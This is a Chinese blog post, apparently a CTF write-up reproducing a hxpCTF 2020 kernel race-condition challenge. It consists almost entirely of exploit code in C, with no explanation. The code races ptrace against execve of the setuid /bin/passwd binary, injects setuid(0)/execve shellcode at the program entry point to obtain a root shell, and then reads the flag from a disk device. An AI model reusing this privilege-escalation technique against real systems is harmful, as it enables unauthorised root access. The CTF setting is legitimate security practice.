「hxpCTF2020」内核条件竞争复现

目录
警告
本文最后更新于 2022-01-13,文中内容可能已过时。
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <mman.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/arch/i386/regs.h>

#define ass(X) do { if (!(X)) { printf("failed @ %u\n", __LINE__); perror(#X); exit(1); } } while (0)

void child(volatile unsigned char *ready)
{

  ass(!unveil("/", "rwx"));

  for (unsigned i = 0; i < (1ul << 15); ++i) {
    char path[0x100];
    sprintf(path, "/tmp/yolo-%u", i);
    if (i % 100 == 0) { printf("%s\r", path); fflush(stdout); }
    ass(!unveil(path, "rwc"));
  }
  printf("\n");

  printf("child ready\n");

  {
    *ready = 1;             // continue parent
    while (*ready != 2);    // wait for attach
  }
  printf("child exec\n");

  usleep(100e3);

  char str0[] = "/bin/sh";
  char *argv[] = {str0, nullptr};
  char *envp[] = {nullptr};
  execve("/bin/passwd", argv, envp);
  printf("child %u\n", __LINE__);

}

unsigned addr_entry  = 0x08001ba6;  // entry point
unsigned addr_execve = 0x080327b5;  // libc execve
unsigned char payload[16] = {
  0x99,0xB0,0x31,0xCD,0x82,                               // setuid(0)
  0x58,0x58,0x58,0x50,0xFF,0x30,                          // push envp, push argv, push *argv
  0xE8,0x00,0x00,0x00,0x00,                               // call <off>
};
unsigned sentinel = 0xcccccccc;

static void prepare_shellcode()
{
  unsigned offoff = 12;
  * (unsigned*) (payload + offoff) = addr_execve - (addr_entry + offoff + 4);
}

static int set_priority(pid_t pid, int prio)
{
  sched_param sp = {prio};
  return sched_setparam(pid, &sp);
}

void parent(pid_t pid, volatile unsigned char *ready)
{

  set_priority( 0 , 1);
  set_priority(pid, 3);

  while (*ready != 1) sched_yield();  // wait for child
  ass(!ptrace(PT_ATTACH, pid, nullptr, 0));
  printf("parent attached\n");

  ass(!ptrace(PT_POKE, pid, (void*) addr_entry, sentinel));
  printf("wrote sentinel\n");

  set_priority( 0 , 3);
  set_priority(pid, 1);

  *ready = 2;             // continue child

  unsigned long cnt = 0;
  unsigned last_v = -1;

  while (true) {
    errno = 0;
    unsigned v = ptrace(PT_PEEK, pid, (void*) addr_entry, 0), w;
    int errv = errno;
    if (cnt % 1000 == 0 || v != last_v) { printf("%8lu %-2d %08x\n", cnt, errv, v); }

    if (errv == EACCES) {
      printf("PEEK ~> EACCES\n");
      break;
    }

    if (!errv && v != sentinel) {
      for (unsigned i = 0; i < (sizeof(payload)+3)/4; ++i) {
        w = ptrace(PT_POKE, pid, (void*) (addr_entry + 4*i), ((unsigned*) payload)[i]);
        printf("<%u> %-2d\n", i, w);
      }
      break;
    }

    last_v = v;

    if (++cnt % 1000 == 0) {
        ass(!ptrace(PT_CONTINUE, pid, nullptr, 0));
        sched_yield();
    }
  }
  ass(pid == waitpid(pid, nullptr, 0));
}

int main(int argc, char **argv) {
  if (argc >= 2 && !strcmp(argv[1], "payload")) {
    // read the flag
    int fd = open("/dev/hdb", O_RDONLY);
    printf("fd=%d\n", fd);

    char buf[0x401];
    for (unsigned i = 1; i < sizeof(buf); ++i) {
      lseek(fd, 0, SEEK_SET);
      errno = 0;
      int r = read(fd, buf, i);
      if (r != (signed) i) {
        printf("i=%d r=%d errno=%d\n", i, r, errno);
        break;
      }
    }
    printf("\n--> \x1b[32m%s\x1b[0m\n", buf);
    execl("/bin/sh", "sh", nullptr);
    exit(0);
  }
  prepare_shellcode();

  unsigned char *ready;
  {
    void *page = mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    ass(page != MAP_FAILED);
    ready = (unsigned char*) page;
  }
  *ready = 0;

  pid_t pid = fork();
  ass(pid >= 0);
  if (pid > 0)
    parent(pid, ready);
  else
    child(ready);

}

相关内容